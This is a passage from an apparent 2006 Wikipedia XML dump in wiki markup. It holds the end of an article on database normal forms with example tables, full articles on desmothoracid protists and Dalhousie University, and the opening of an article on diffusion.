hierarchies in relations.

Consider the following table:

{| border=&quot;1&quot; align=&quot;center&quot;
|+ Non First Normal Form
!Person!!Favorite Colors
{| border=&quot;1&quot; align=&quot;center&quot; width=&quot;100%&quot;
!Color
|}
|-
|Bob||blue&lt;br&gt;red
|-
|Jane||green&lt;br&gt;yellow&lt;br&gt;red
|}
Assume a Person has several favorite colors. Obviously favorite colors consist of a set of colors which
is modelled by the given table.

To transform this NF² table into a 1NF an &quot;unnest&quot; operator is required which extends the
relational algebra of the higher normal forms. The reverse operator is called &quot;nest&quot; which is
not always the mathematical inverse of &quot;unnest&quot;, although &quot;unnest&quot; is the mathematical inverse to &quot;nest&quot;.
Another constraint is required for the operators to be [[bijection | bijective]] which is covered by
the Partitioned Normal Form (PNF)

===First normal form===

To understand '''first normal form''' (1NF), consider these two examples of things you might know:
:''&quot;What is your favorite color?&quot;''
:''&quot;What food will you not eat?&quot;''
A difference between these two questions is that, while you can have only one favorite color, there may be many foods you do not eat.

In &quot;1NF&quot;; Every attribute in a relation must be atomic. That is to say that there can be no composite attributes in the relation.

Data that has a single value such as &quot;person's favorite color&quot; is inherently in first normal form.  Such data can be stored in a single table with a simple key/value combination.  Data that has multiple values, however, must be stored differently.

Codd argued that there was one best way to keep multi-valued data such as &quot;food a person will not eat.&quot;  He suggested that the database should contain a separate table for the multi-value data and then store each food as a separate row in that table.  Known as first normal form, this approach has been a standard for decades.  An example of data in proper first normal form follows:

{| border=&quot;1&quot; align=&quot;center&quot;
|+ Table 1
!Person!!Favorite Color
|-
|Bob||blue
|-
|Jane||green
|}

{| border=&quot;1&quot; align=&quot;center&quot;
|+ Table 2
!Person!!Foods Not Eaten
|-
|Bob||okra
|-
|Bob||Brussels sprouts
|-
|Jane||peas
|}

Database systems when Codd was writing were relatively primitive.  Newer databases now support [[abstract data type]]s and other data-storage methods that usually offer better performance for the management of such data. However, such methods could be considered denormalization, as they often require the [[hierarchical model]], which was abandoned mostly due to its inflexibility, to be reintroduced into the architecture of the system.

It is almost never a good idea to store data like this:

{| border=&quot;1&quot; align=&quot;center&quot;
|+ Table 3
!Person
!Favorite Color
!Foods Not Eaten 1
!Foods Not Eaten 2
!Foods Not Eaten 3
|}

This schema is not in the 1NF, and does not accurately represent the relationship as it exists in the real world.  Even if the database designer believes that users will not need to store more than three foods not eaten, this system makes it difficult to add a fourth. For instance:

{| border=&quot;1&quot; align=&quot;center&quot;
|+ Table 4
!Person!!Website!!AIM!!Yahoo! Screenname!!ICQ
|}

This schema is not in the 1NF since people can have more than one AIM screenname.  Most websites choose to ignore this, however, and only allow a user to register one screenname with their account.

===Second normal form===

:''See main article [[Second normal form]]''

'''Second normal form''' ('''2NF''') prescribes full functional dependency on the [[primary key]]. It most commonly applies to tables that have [[composite primary key]]s, where two or more attributes comprise the [[primary key]]. It requires that there are no non-trivial [[functional dependency|functional dependencies]] of a non-key attribute on a part ([[subset]]) of a [[candidate key]]. A table is said to be in the 2NF if and only if it is in the 1NF and every non-key attribute is irreducibly dependent on the primary key (i.e. not partially dependent on candidate key).

Consider a table named &lt;code&gt;part&lt;/code&gt; describing machine parts with the following attributes:

 PART_NUMBER (PRIMARY KEY)
 SUPPLIER_NAME (PRIMARY KEY)
 PRICE
 SUPPLIER_ADDRESS

The &lt;code&gt;PART_NUMBER&lt;/code&gt; and &lt;code&gt;SUPPLIER_NAME&lt;/code&gt; form the composite primary key, because the same part can be supplied by multiple suppliers. In this example, &lt;code&gt;PRICE&lt;/code&gt; is correctly placed on the &lt;code&gt;part&lt;/code&gt; table, because it is fully dependent on the primary key i.e. different suppliers will charge a different price for the same part. 

&lt;code&gt;SUPPLIER_ADDRESS&lt;/code&gt;, however, is only dependent on the &lt;code&gt;SUPPLIER_NAME&lt;/code&gt;, and therefore this table breaks 2NF. This attribute should be placed on a second table named &lt;code&gt;supplier&lt;/code&gt; comprising:

 SUPPLIER_NAME (PRIMARY KEY)
 SUPPLIER_ADDRESS

In order to find if a table is in 2NF, ask whether any of the non-key attributes of the table could be derived from a subset of the composite key, rather than the whole composite key. If the answer is yes, it's not in 2NF. This is solved sometimes by using a '''correlation file,''' such as the &lt;code&gt;supplier&lt;/code&gt; table above.

'''Easily understood definition:'''
A unique key. A column of values that uniquely identify each row in each table.

===Third normal form===

:''See main article [[Third normal form]]''

'''Third normal form''' ('''3NF''') requires that the table is in 2NF, and that there are no non-trivial functional dependencies of non-key attributes on something other than a superset of a candidate key. A table is in 3NF if none of the non-primary key attributes is a fact about any other non-primary key attribute. In summary, all non-key attributes are mutually independent (i.e. there should not be transitive dependencies).

Consider a table (in 2NF) that defines a machine part as having the following attributes. 

 PART_NUMBER (PRIMARY KEY)
 MANUFACTURER_NAME
 MANUFACTURER_ADDRESS

In this case, the manufacturer address does not belong on this table, because it is a fact about the manufacturer of the part, rather than the part itself. &lt;code&gt;MANUFACTURER_ADDRESS&lt;/code&gt; should therefore be moved into a separate table with the attributes:

 MANUFACTURER_NAME (PRIMARY KEY)
 MANUFACTURER_ADDRESS

...and the original table should be redefined as:

 PART_NUMBER (PRIMARY KEY)
 MANUFACTURER_NAME

The problem with a table not being in 3NF is that for every MANUFACTURER_NAME we have to maintain a redundant 
MANUFACTURER_ADDRESS (i.e. an address for each part_number, rather than one for each MANUFACTURER_NAME).

'''Easily understood definition:'''
Ensures that each table contains unique data.
In other words, it ensures that a table of customer identification data does
not contain order data, and so on.

===Boyce-Codd normal form===

'''Boyce-Codd normal form''' (or '''BCNF''') requires that there are no non-trivial functional dependencies of attributes on something other than a superset of a candidate key (called a [[superkey]]). At this stage, all attributes are dependent on a key, a whole key and nothing but a key (excluding trivial dependencies, like A-&gt;A). A table is said to be in the BCNF if and only if it is in the 3NF and every non-trivial, left-irreducible functional dependency has a candidate key as its determinant.  In more informal terms, a table is in BCNF if it is in 3NF and the only determinants are the candidate keys.

Example of a relation that is in 3NF form but not in BCNF:

Relation: {A,B,C,D} AB is a candidate key, BC is candidate key and A-&gt;C.

===Fourth normal form===

'''Fourth normal form''' (or '''4NF''') requires that there are no non-trivial multi-valued dependencies of attribute sets on something other than a superset of a candidate key. A table is said to be in 4NF if and only if it is in the BCNF and multi-valued dependencies are functional dependencies.  The 4NF removes unwanted data structures: multi-valued dependencies.

Consider a case where we need the record of an employee with any professional qualifications they have gained, and internal training courses they have been on (an employee may have none, one or multiple of each of these). One way to record this information would be to create a relation as follows:

 EMPLOYEE_ID
 QUALIFICATION_ID
 TRAINING_COURSE_ID

The problem with this design is that we might have to enter employee's qualification id more than once (or leave the qualification field blank) if they have been on more than one training course, which causes ambiguity on data storage and retrieval. Therefore this table is not in 4NF.

There are actually two distinct many-to-many relationships here: one between Employee and Qualification ID, and one between Employee and Training Course ID. So two separate tables should be created to capture these.

 employee_qualification table:
 EMPLOYEE_ID
 QUALIFICATION_ID
 
 employee_training_course table:
 EMPLOYEE_ID
 TRAINING_COURSE_ID

This example has assumed that the two fields being recorded for the employees are independent; contrast a different case where for example the information to be recorded is the academic qualifications possessed by each employee, and the academic institution where the qualification was achieved. In this case the two values are not independent - it is necessary to record both the qualification and the institution (as a pair of values) in each case, and so a relation such as the following would be correct:

 EMPLOYEE_ID
 DEGREE_ID
 UNIVERSITY_ID

And this would require no changes to fit the fourth normal form requirements.

[[Ronald Fagin]] demonstrated that it is always possible to achieve 4NF (but not always desirable). [[Rissanen's theorem]] is also applicable on multi-valued dependencies.

===Fifth normal form===

'''Fifth normal form''' ('''5NF''' and also '''PJ/NF''') requires that there are no non-trivial join dependencies that do not follow from the key constraints. A table is said to be in the 5NF [[if and only if]] it is in 4NF and every join dependency in it is implied by the candidate keys.

====Fifth Normal form Example====

(Adapted from &quot;A Simple Guide to Five Normal Forms in Relational Database Theory&quot;; see [[#Further Reading|Further Reading]])

Consider the following example:  

{| align=&quot;center&quot; border=&quot;0&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot; style=&quot;border-collapse: collapse; border: 1px solid black&quot;
 |+ 
 |- style=&quot;background-color: silver; text-align: left; vertical-align: top&quot;
 ! style=&quot;border: 1px solid black&quot; | Musician 
 ! style=&quot;border: 1px solid black&quot; | Instrument
 ! style=&quot;border: 1px solid black&quot; | Genre
 |-
 | style=&quot;border: 1px solid black&quot; | James
 | style=&quot;border: 1px solid black&quot; | Piano
 | style=&quot;border: 1px solid black&quot; | Classical
 |-
 | style=&quot;border: 1px solid black&quot; | James 
 | style=&quot;border: 1px solid black&quot; | Trumpet 
 | style=&quot;border: 1px solid black&quot; | Classical
 |-
 | style=&quot;border: 1px solid black&quot; | Kate
 | style=&quot;border: 1px solid black&quot; | Drums
 | style=&quot;border: 1px solid black&quot; | Jazz
 |-
 | style=&quot;border: 1px solid black&quot; | Kate
 | style=&quot;border: 1px solid black&quot; | Piano
 | style=&quot;border: 1px solid black&quot; | Jazz
 |-
 | style=&quot;border: 1px solid black&quot; | Kate
 | style=&quot;border: 1px solid black&quot; | Trumpet
 | style=&quot;border: 1px solid black&quot; | Jazz 
 |-
 | style=&quot;border: 1px solid black&quot; | Kate
 | style=&quot;border: 1px solid black&quot; | Clarinet
 | style=&quot;border: 1px solid black&quot; | Jazz
 |- 
 | style=&quot;border: 1px solid black&quot; | Lois
 | style=&quot;border: 1px solid black&quot; | Saxophone
 | style=&quot;border: 1px solid black&quot; | Jazz
 |-
 | style=&quot;border: 1px solid black&quot; | Lois
 | style=&quot;border: 1px solid black&quot; | Piano
 | style=&quot;border: 1px solid black&quot; | Classical
 |-
 | style=&quot;border: 1px solid black&quot; | Lois
 | style=&quot;border: 1px solid black&quot; | Violin
 | style=&quot;border: 1px solid black&quot; | Classical
 |-
 | style=&quot;border: 1px solid black&quot; | Lois
 | style=&quot;border: 1px solid black&quot; | Guitar
 | style=&quot;border: 1px solid black&quot; | Rock

|}

Here we have a list of musicians and the instruments they play under a 
certain genre.  We can take as a model that a musician plays a certain 
kind of music in a certain genre only if the following three conditions 
hold: 

* The musician plays the instrument. 
* The musician plays the genre. 
* The instrument is part of that genre. 

With these constraints it is possible to split the relation into three 
parts. 


{| align=&quot;center&quot;

||

{| align=&quot;center&quot; border=&quot;0&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot; style=&quot;border-collapse: collapse; border: 1px solid black&quot;
 |+ 
 |- style=&quot;background-color: silver; text-align: left; vertical-align: top&quot;
 ! style=&quot;border: 1px solid black&quot; | Musician 
 ! style=&quot;border: 1px solid black&quot; | Instrument 
 |-
 | style=&quot;border: 1px solid black&quot; | James
 | style=&quot;border: 1px solid black&quot; | Piano
 |-
 | style=&quot;border: 1px solid black&quot; | James
 | style=&quot;border: 1px solid black&quot; | Trumpet
 |-
 | style=&quot;border: 1px solid black&quot; | Kate
 | style=&quot;border: 1px solid black&quot; | Drums
 |-
 | style=&quot;border: 1px solid black&quot; | Kate
 | style=&quot;border: 1px solid black&quot; | Piano
 |-
 | style=&quot;border: 1px solid black&quot; | Kate
 | style=&quot;border: 1px solid black&quot; | Trumpet
 |-
 | style=&quot;border: 1px solid black&quot; | Kate
 | style=&quot;border: 1px solid black&quot; | Clarinet
 |-
 | style=&quot;border: 1px solid black&quot; | Lois
 | style=&quot;border: 1px solid black&quot; | Saxophone
 |-
 | style=&quot;border: 1px solid black&quot; | Lois
 | style=&quot;border: 1px solid black&quot; | Piano
 |-
 | style=&quot;border: 1px solid black&quot; | Lois
 | style=&quot;border: 1px solid black&quot; | Violin
 |-
 | style=&quot;border: 1px solid black&quot; | Lois
 | style=&quot;border: 1px solid black&quot; | Guitar
|}

| style=&quot;width:100px&quot;  |


||

{| align=&quot;center&quot; border=&quot;0&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot; style=&quot;border-collapse: collapse; border: 1px solid black&quot;
 |+
 |- style=&quot;background-color: silver; text-align: left; vertical-align: top&quot;
 ! style=&quot;border: 1px solid black&quot; | Musician 
 ! style=&quot;border: 1px solid black&quot; | Genre
 |-
 | style=&quot;border: 1px solid black&quot; | James
 | style=&quot;border: 1px solid black&quot; | Classical
 |-
 | style=&quot;border: 1px solid black&quot; | Kate
 | style=&quot;border: 1px solid black&quot; | Jazz
 |-
 | style=&quot;border: 1px solid black&quot; | Lois
 | style=&quot;border: 1px solid black&quot; | Jazz
 |-
 | style=&quot;border: 1px solid black&quot; | Lois
 | style=&quot;border: 1px solid black&quot; | Classical
 |-
 | style=&quot;border: 1px solid black&quot; | Lois
 | style=&quot;border: 1px solid black&quot; | Rock
|}


| style=&quot;width:100px&quot;  |


||

{| align=&quot;center&quot; border=&quot;0&quot; cellpadding=&quot;5&quot; cellspacing=&quot;0&quot; style=&quot;border-collapse: collapse; border: 1px solid black&quot;
 |+
 |- style=&quot;background-color: silver; text-align: left; vertical-align: top&quot;
 ! style=&quot;border: 1px solid black&quot; | Instrument  
 ! style=&quot;border: 1px solid black&quot; | Genre
 |-
 | style=&quot;border: 1px solid black&quot; | Piano
 | style=&quot;border: 1px solid black&quot; | Classical
 |-
 | style=&quot;border: 1px solid black&quot; | Piano
 | style=&quot;border: 1px solid black&quot; | Jazz
 |-
 | style=&quot;border: 1px solid black&quot; | Trumpet
 | style=&quot;border: 1px solid black&quot; | Classical
 |-
 | style=&quot;border: 1px solid black&quot; | Trumpet
 | style=&quot;border: 1px solid black&quot; | Jazz
 |-
 | style=&quot;border: 1px solid black&quot; | Drums
 | style=&quot;border: 1px solid black&quot; | Classical
 |-
 | style=&quot;border: 1px solid black&quot; | Drums
 | style=&quot;border: 1px solid black&quot; | Jazz
 |-
 | style=&quot;border: 1px solid black&quot; | Drums
 | style=&quot;border: 1px solid black&quot; | Rock
 |-
 | style=&quot;border: 1px solid black&quot; | Clarinet
 | style=&quot;border: 1px solid black&quot; | Classical
 |-
 | style=&quot;border: 1px solid black&quot; | Clarinet
 | style=&quot;border: 1px solid black&quot; | Jazz
 |-
 | style=&quot;border: 1px solid black&quot; | Saxophone
 | style=&quot;border: 1px solid black&quot; | Jazz
 |-
 | style=&quot;border: 1px solid black&quot; | Guitar
 | style=&quot;border: 1px solid black&quot; | Rock
|}



|}


Joining these three tables together will return the original relation.

Note how this setup helps to remove redundancy. Suppose that Kate learns 
Classical. In the previous setup we would have to add four new entries since each of the four instruments that Kate plays (Drums, Piano, Trumpet, and Clarinet) are all classical instruments, while with the new setup we only need to make one addition.

([[#Further Reading|Kent's]] paper provides more details.)

===Domain/key normal form===

'''Domain/key normal form''' (or '''DKNF''') requires that each key uniquely identifies each row in a table.  A domain is the set of permissible values for an attribute. By enforcing key and domain restrictions, the database is assured of being freed from modification anomalies.

While sometimes called the 6NF, the DKNF should not be considered together with the seven other normal forms (1&amp;ndash;6 and Boyce-Codd), because contrary to them it is not always achievable; furthermore, tables in the real 6NF are not always in the DKNF.

===Sixth normal form===

This normal form was, [[as of 2005]], only recently conjectured: the '''sixth normal form''' ('''6NF''') was only defined when extending the relational model to take into account the [[Time|temporal]] [[dimension]]. Unfortunately, most current SQL technologies [[as of 2005]] do not take into account this work, and most temporal extensions to SQL are not relational. See work by Date, Darwin and Lorentzos for a relational temporal extention, or see TSQL2 for a different approach.

== Further reading==
* [http://www.troubleshooters.com/littstip/ltnorm.html Litt's Tips: Normalization]
* [http://www.datamodel.org/NormalizationRules.html Rules Of Data Normalization]
* Date, C. J., &amp; Lorentzos, N., &amp; Darwen, H. (2002). ''[http://www.elsevier.com/wps/product/cws_home/680662 Temporal Data &amp; the Relational Model]'' (1st ed.). Morgan Kaufmann. ISBN 1-55860-855-9.
* Date, C. J. (1999), ''[http://www.aw-bc.com/catalog/academic/product/0,1144,0321197844,00.html  An Introduction to Database Systems]'' (8th ed.). Addison-Wesley Longman. ISBN 0-321-19784-4.
* Kent, W. (1983) ''[http://www.bkent.net/Doc/simple5.htm A Simple Guide to Five Normal Forms in Relational Database Theory]'', Communications of the ACM, vol. 26, pp. 120-125
* Date, C.J., &amp; Darwen, H., &amp; Pascal, F. ''[http://www.dbdebunk.com Database Debunkings]''
* H.-J. Schek, P.Pistor Data Structures for an Integrated Data Base Management and Information Retrival System

==External links==
* [http://dev.mysql.com/tech-resources/articles/intro-to-normalization.html An Introduction to Database Normalization] by Mike Hillyer.
* [http://www.utexas.edu/its/windows/database/datamodeling/rm/rm7.html Normalization] by ITS, University of Texas.

[[Category:Databases]]
[[Category:Data modeling]]

[[de:Normalisierung (Datenbank)]]
[[es:Normalización de una base de datos]]
[[fr:Formes normales]]
[[it:Normalizzazione del database]]
[[ja:リレーションの正規化]]
[[sk:Normalizácia (databázy)]]
[[fi:Tietokannan normalisointi]]
[[sv:Normalform (databaser)]]</text>
    </revision>
  </page>
  <page>
    <title>Desmothoracid</title>
    <id>8641</id>
    <revision>
      <id>39576140</id>
      <timestamp>2006-02-14T11:30:40Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] migrate from {{journal reference}} to {{cite journal}}</comment>
      <text xml:space="preserve">{{Taxobox
| color = khaki
| name = Desmothoracids
| regnum = [[Protist]]a
| phylum = [[Cercozoa]]
| classis = [[Proteomyxidea]]
| ordo = '''Desmothoracida'''
| ordo_authority = [[Hertwig]] &amp; [[Lesser]] 1874
| subdivision_ranks = Genera
| subdivision = 
''Clathrulina''&lt;br&gt;
''Hedriocystis''&lt;br&gt;
''Cienkowskya''&lt;br&gt;
''Penardiophrys''&lt;br&gt;
''Actinosphaeridium''
}}
The '''desmothoracids''' are a group of [[heliozoa]]n protists, usually sessile and found in freshwater environments.  Each adult is a spherical cell around 10-20 &amp;mu;m in diameter surrounded by a perforated organic lorica or shell, with many radial [[pseudopod]]s projecting through the holes to capture food.  These are supported by small bundles of [[microtubule]]s that arise near a point on the [[nuclear membrane]].  Unlike other heliozoans, the microtubules are not in any regular geometric array, there does not appear to be a microtubule organizing center, and there is no distinction between the outer and inner cytoplasm.

Reproduction takes place by the budding off of small motile cells, usually with two [[flagella]].  Later these are lost, and pseudopods and a lorica are formed.  Typically a single lengthened pseudopod will secrete a hollow stalk that attached the adult to the substrate.  The form of the flagella, the tubular cristae within the [[mitochondrion|mitochondria]], and other characters led to the suggestion that the desmothoracids belong among what is now the [[Cercozoa]], which has now been confirmed by genetic studies.

== References ==

* {{cite journal
 | author = K.A. Mikrjukov
 | title = Taxonomy and Phylogeny of Heliozoa. I. Desmothoracids
 | journal = Acta Protozoologica
 | year = 2000 | volume = 39 | pages = 81-97
 }}
* {{cite journal
 | author = Nikolaev, S.I. ''et al.''
 | title = Genetic Relationships between Desmothoracid Heliozoa and Gymnophryid Amoebas as Evidenced by Comparison of 18S rRNA Genes
 | journal = Doklady Biological Sciences
 | year = 2003 | volume = 393 | pages = 553-556
}}
[[Category:Cercozoa]]
[[Category:Amoeboids]]</text>
    </revision>
  </page>
  <page>
    <title>Dalhousie University</title>
    <id>8642</id>
    <revision>
      <id>40859396</id>
      <timestamp>2006-02-23T13:52:50Z</timestamp>
      <contributor>
        <username>HotRat</username>
        <id>229829</id>
      </contributor>
      <minor />
      <comment>/* Noted Alumni */</comment>
      <text xml:space="preserve">{| class=&quot;toccolours&quot; border=0 cellpadding=2 cellspacing=0 width=300px align=right style=&quot;margin-left:0.5em&quot;
|- 
! colspan=2 align=center|Dalhousie University
|-
| colspan=2 align=center bgcolor=&quot;ffffff&quot;|[[Image:Dal-shield.jpg]]
|- align=left 
| '''[[Motto]]''' || ora et labora ([[Latin]]: &quot;Pray and work&quot;)
|-
|'''Founded'''||[[1818]]
|-
|'''School type'''||Public
|-
|'''President'''||[[Tom Traves]]
|-
|'''Location'''||[[Halifax Regional Municipality|Halifax]], [[Nova Scotia]]
|-
|'''Enrollment'''||12,222 Undergraduates 3,618 Graduates{{fn|1}}
|-
|'''Campus surroundings'''||[[Urbanization|Urban]]
|-
|'''Sports teams'''||[[Dalhousie Tigers|Tigers]]
|}

'''Dalhousie University''' is a [[university]] located in [[Halifax Regional Municipality, Nova Scotia|Halifax]], [[Nova Scotia]], [[Canada]]. It is the largest post-secondary educational institution in the [[Maritimes|Maritime Provinces]].



Dalhousie has traditionally been one of Canada's leading universities. It offers a wide array of programs, including [[medicine|medical]] and [[law]] programmes.  Dalhousie is also rated as one of the top [[research university|research universities]] in Canada.  The [[chancellor]] is Dr. [[Richard Goldbloom]]; Dr. [[Tom Traves]] serves as [[president]] and vice-chancellor.

[[image:Dalhousie_Vines.jpg|400px|Dalhousie Henry Hicks Academic Administration Building, September 2002]]

== History ==

Dalhousie College was founded in [[1818]] by [[George Ramsay, 9th Earl of Dalhousie]], the [[List of Nova Scotia lieutenant-governors|Lieutenant-Governor of Nova Scotia]].  Using money acquired from the duties collected during the occupation of parts of Maine in the [[War of 1812]], Ramsay established Dalhousie as a college open to all people regardless of class or creed.  At the laying of the cornerstone on [[May 22]], [[1820]], Lord Dalhousie said that this University was &quot;founded on the principles of religious tolerance.&quot;  Dalhousie remained one of only three universities founded on secular constitutional premises until as late as the [[1950]]s.  Although it was technically founded in 1818, Dalhousie did not have a student population until about [[1860]].
 
Dalhousie was distinctive as an urban institution. This status was seen not only, in the early days at least, in the use of much of the college's lowest floor as vault space for [[Oland Brewery]], but also in the consistent drawing of about one-third of the student body from the Halifax-[[Dartmouth, Nova Scotia (former city)|Dartmouth]] urban area and in the college's ability to draw upon local professional populations in the establishment of professional faculties such as medicine ([[1868]]) and [[Dalhousie Law School|law]] ([[1883]]). Finances remained difficult into the [[1880s]], but by the end of that decade the accumulated donations of the wealthy alumnus [[George Munro]] had provided the stimulus that led to growth in student numbers and the emergence of Dalhousie as a centre of scholarship acknowledged throughout the dominion.

[[image:DalhousieWinter.jpg|thumb|400px|Dalhousie University, January 2005]]

In [[1920]] the [[University of King's College]] in [[Windsor, Nova Scotia]], English Canada's oldest degree granting institution, burned down.  Through a grant from the [[Carnegie Foundation|Carnegie Foundation]], King's College was able to relocate to Halifax and entered into a partnership with Dalhousie University. While often seen as a separate but integrated institution it shares Dalhousie's Arts and Sciences Faculty, but offers several interdisciplinary humanities degree programmes, such as Contemporary Studies, History of Science and Technology and Early Modern Studies.

Dalhousie expanded its presence in south-end Halifax during the [[1960s]] and [[1970s]] when it built the Dalplex athletic facility, the Killam Library, the Life Sciences Centre, and a district heating plant, all on what is referred to as the Studley Campus (the main campus).  Also at this time, Dalhousie built the Tupper Building for its Faculty of Medicine and expanded existing buildings to house the Faculty of Dentistry and College of Pharmacy, all on the adjacent Carleton Campus, located immediately to the east of the Studley Campus, and co-located with two of Halifax's teaching hospitals (the Victoria General Site of the Queen Elizabeth II Health Sciences Centre and the [[IWK Health Centre]] for Women, Children, and Youth).

Following a period of government-mandated consolidation of post-secondary institutions during the [[1990s]], the [[Technical University of Nova Scotia]] was merged with Dalhousie University in [[1997]].  It was initially known as Dalhousie University Polytechnic, or DalTech, but in [[2000]] the DalTech nickname was dropped and the engineering, architecture and computer science faculties of TUNS are fully integrated into Dalhousie University.  The faculties of engineering and architecture are located on what is known as the Sexton Campus, farther east from the Carleton Campus and closer to downtown Halifax.  The faculty of [[computer science]] moved to its own building on Studley Campus in [[1999]].

== Faculties ==

Dalhousie comprises eleven faculties:
* [http://architectureandplanning.dal.ca/index.shtml Architecture and Planning]
* [http://artsandsocialsciences.dal.ca/index.html Arts and Social Sciences]
* [http://www.cs.dal.ca/ Computer Science]
* [http://www.dentistry.dal.ca/ Dentistry]
* [http://engineering.dal.ca/index.htm Engineering]
* [http://www.dalgrad.dal.ca/ Graduate Studies]
* [http://healthprofessions.dal.ca/ Health Professions]
* [http://law.dal.ca/index.html Law]
* [http://management.dal.ca/ Management]
* [http://www.medicine.dal.ca/ Medicine]
* [http://science.dal.ca/index.html Science]

== Current Issues ==

In [[2004]], 10,878 full-time [[undergraduate]] students and 2,734 full-time graduate students enrolled at Dalhousie{{fn|1}}. The university is facing serious financial problems in the early 21st century, forcing it to rapidly raise tuition fees. Even with the increased [[tuition]] fees Dalhousie is facing some financial problems such as being able to pay for more than $100 million (Canadian) in deferred maintenance. In [[2002]] there was a month long strike by the professors at the university demanding, among other things, that retiring professors be replaced by an equivalent new professor in hopes of maintaining the level of full professors at the university; the number of full-time professors had been declining for some years. The professors' demands on this issue were met.

The university is going through a building phase. A new building for the Faculty of Computer Science opened in October [[1999]] followed shortly thereafter by the [[Marion McCain Arts and Social Sciences Building]]. The [[Howe Hall]] residence was expanded with the addition of [[Fountain House]] and a new residence was also built, named Risley Hall.  The [[Kenneth C. Rowe Management Building]] opened in September [[2005]].

== Trivia ==

* The current campus was designed by [[Andrew R. Cobb (Architect)|Andrew R. Cobb]].
* The school's [[Canadian Interuniversity Sport]] athletic teams are called the [[Dalhousie Tigers]].
* The first Friday in February of each year is [[Munro Day]], a holiday celebrating financial contributions made to the school in its infancy by [[George Munro]].
* The newest building built on the Dalhousie Campus is the Kenneth C. Rowe Management Building.
* Dalhousie's campus newspaper, the [http://www.dalgazette.ca/ Dalhousie Gazette], was founded in 1868, making it the oldest student newspaper in Canada and one of the oldest continuously-running student newspapers in North America.

==Noted Faculty Members==

{{expandsect}}

* Dr. [[Jonathan Borwein]] - [[Computer Science]], [[Experimental mathematics]]
* Dr. [[David M. Cameron]] - [[Political Science]]
* Dr. [[Keith R. Thompson]] - [[Oceanography]], [[Statistics]]

==Noted Alumni==
* [[Richard Bedford Bennett]], [[Prime Minister of Canada]]
* [[Alexa McDonough]]
* [[Ian Hanomansing]], Television Journalist

==See also==
* [[Dalhousie Law School]]
* [[Dalhousie Tigers]] - varsity athletics teams
* [[Dalhousie Student Union]]
* [[Fraternities and sororities at Dalhousie University]]
* [[Rebecca Cohn Auditorium]], a concert hall in the Dalhousie Arts Centre 
* [[Dalplex]] fitness centre

==External links==
* [http://www.dal.ca/ Dalhousie University]
* [http://www.dalgazette.ca/ Dalhousie Gazette] - Student Newspaper
* [http://www.cs.dal.ca/cam/ Webcam views of Dalhousie]
* [http://www.cs.dal.ca/ Dalhousie University Faculty of Computer Science]
* [http://my.dsu.ca/ DSU Events Posting]
* [http://law.dal.ca/ Dalhousie Law School]
* [http://www.utpjournals.com/product/chr/764/lives7.html Review of ''The Lives of Dalhousie University'']
* [http://www.dalhousielodge.org/earls.htm The Earls of Dalhousie]

==Notes==
{{fnb|1}} [[Association of Universities and Colleges of Canada]] (2005). [http://www.aucc.ca/can_uni/our_universities/dalhousie_e.html The Directory of Canadian Universities - Dalhousie University]. Retrieved [[November 16]], [[2005]].

[[Category:Dalhousie University]]
[[Category:Halifax Regional Municipality]]

{{NS Uni}}
[[fr:Université de Dalhousie]]</text>
    </revision>
  </page>
  <page>
    <title>Diffusion</title>
    <id>8643</id>
    <revision>
      <id>41674220</id>
      <timestamp>2006-03-01T00:00:32Z</timestamp>
      <contributor>
        <username>Enzo Aquarius</username>
        <id>200603</id>
      </contributor>
      <comment>Reverted edit, blanking</comment>
      <text xml:space="preserve">:''This article is about the physical mechanism of diffusion. For alternative meanings, see'' [[diffusion (disambiguation)]].

[[Image:Diffusion.en.jpg|right|thumb|400px|Schematic drawing of the effects of diffusion through a [[semipermeable membrane]].]]
[[Image:Diffusion animation.gif|thumb|400px|This animation illustrates the process of gaseous diffusion. The colored blocks represent molecules that are experiencing [[Brownian motion]]. Over time, the two colors will be approximately evenly distributed between the top and bottom halves.]]

'''Diffusion''', being the spontaneous spreading of [[matter]] ([[particle_(ecology)|particle]]s), [[heat]], or [[momentum]], is one type of [[transport phenomena]]. Diffusion is the movement of particles from higher chemical potential to lower chemical potential (chemical potential can in most cases of diffusion be represented by a change in concentration). It is readily observed for example when dried foodstuff like spaghetti is cooked; water molecules diffuse into the spaghetti strings, making them thicker and more flexible. It is a physical process rather than a [[chemical reaction]], which requires no net [[energy]] expenditure. In [[cell biology]], diffusion is often described as a form of [[passive transport]], by which substances cross [[cell membrane|membranes]]. 

== Examples of diffusion ==

*A balloon filled with helium will deflate a little bit every day, because helium atoms diffuse out of the balloon through its wall
*When spaghetti is cooked, water molecules diffuse into the spaghetti strings, making them thicker and more flexible. Adding salt to the water reduces diffusion by reducing the [[osmotic pressure]].
*Carbon dioxide bubbles in soft drinks start as small nuclei and grow because of the diffusion of carbon dioxide molecules towards them
*Heat diffuses through the walls of a mug filled with hot coffee
*A gas distributes itself over a room by diffusion
*A sugar cube in a glass of water that is not stirred will dissolve slowly and the sugar molecules will distribute over the water by diffusion
*Ink in the beaker of water is an example of diffusion. In the end, the ink particles spread evenly throughout the mass of water

== The nature of diffusion ==

The different forms of diffusion can be modelled quantitatively using the [[diffusion equation]], which goes by different names depending on the physical situation. For instance - steady-state bi-molecular diffusion is governed by [[Fick's law of diffusion|Fick's first law]], steady-state thermal diffusion is governed by [[Fourier's law]].   The diffusion of electrons in an electrical field leads essentially to [[Ohm's law]] that is further explained by [[Einstein relation (kinetic theory)|Einstein relation]].  The generic diffusion equation is time dependent, and as such applies to non-steady-state situations as well.

In all cases of diffusion, the [[net flux]] of the transported quantity (atoms, energy, or electrons) is equal to a physical property (diffusivity, thermal conductivity, electrical conductivity) multiplied by a gradient (a concentration, thermal, electric field gradient). Noticeable transport occurs only if there is a [[gradient]] - for example in thermal diffusion, if the temperature is constant, heat will move as quickly in one direction as in the other, producing no heat transport and change in temperature.

Diffusion occurs as a result of the [[Second Law of Thermodynamics]], which states that the entropy or disorder of any closed system must always increase with time. Because substances diffuse from regions of higher concentration to regions of lower concentration, they are going from a state of higher order to a state of lower order, in accordance with the Second Law of Thermodynamics. Therefore, diffusion is a spontaneous, natural process, and to reverse diffusion would require the expenditure of energy to counteract the higher order of the system and prevent a violation of the laws of entropy.

== Types of diffusion ==

